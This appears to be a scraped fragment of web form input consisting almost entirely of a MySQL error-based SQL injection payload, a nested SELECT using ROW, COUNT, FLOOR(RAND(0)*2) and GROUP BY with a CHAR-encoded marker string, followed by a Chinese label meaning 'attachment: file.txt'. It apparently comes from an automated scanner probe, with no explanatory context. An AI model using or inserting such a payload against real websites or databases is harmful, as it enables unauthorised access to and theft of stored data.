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(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(103),CHAR(99),CHAR(112),CHAR(97),CHAR(118),CHAR(115),CHAR(121),CHAR(118),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)附件: file.txt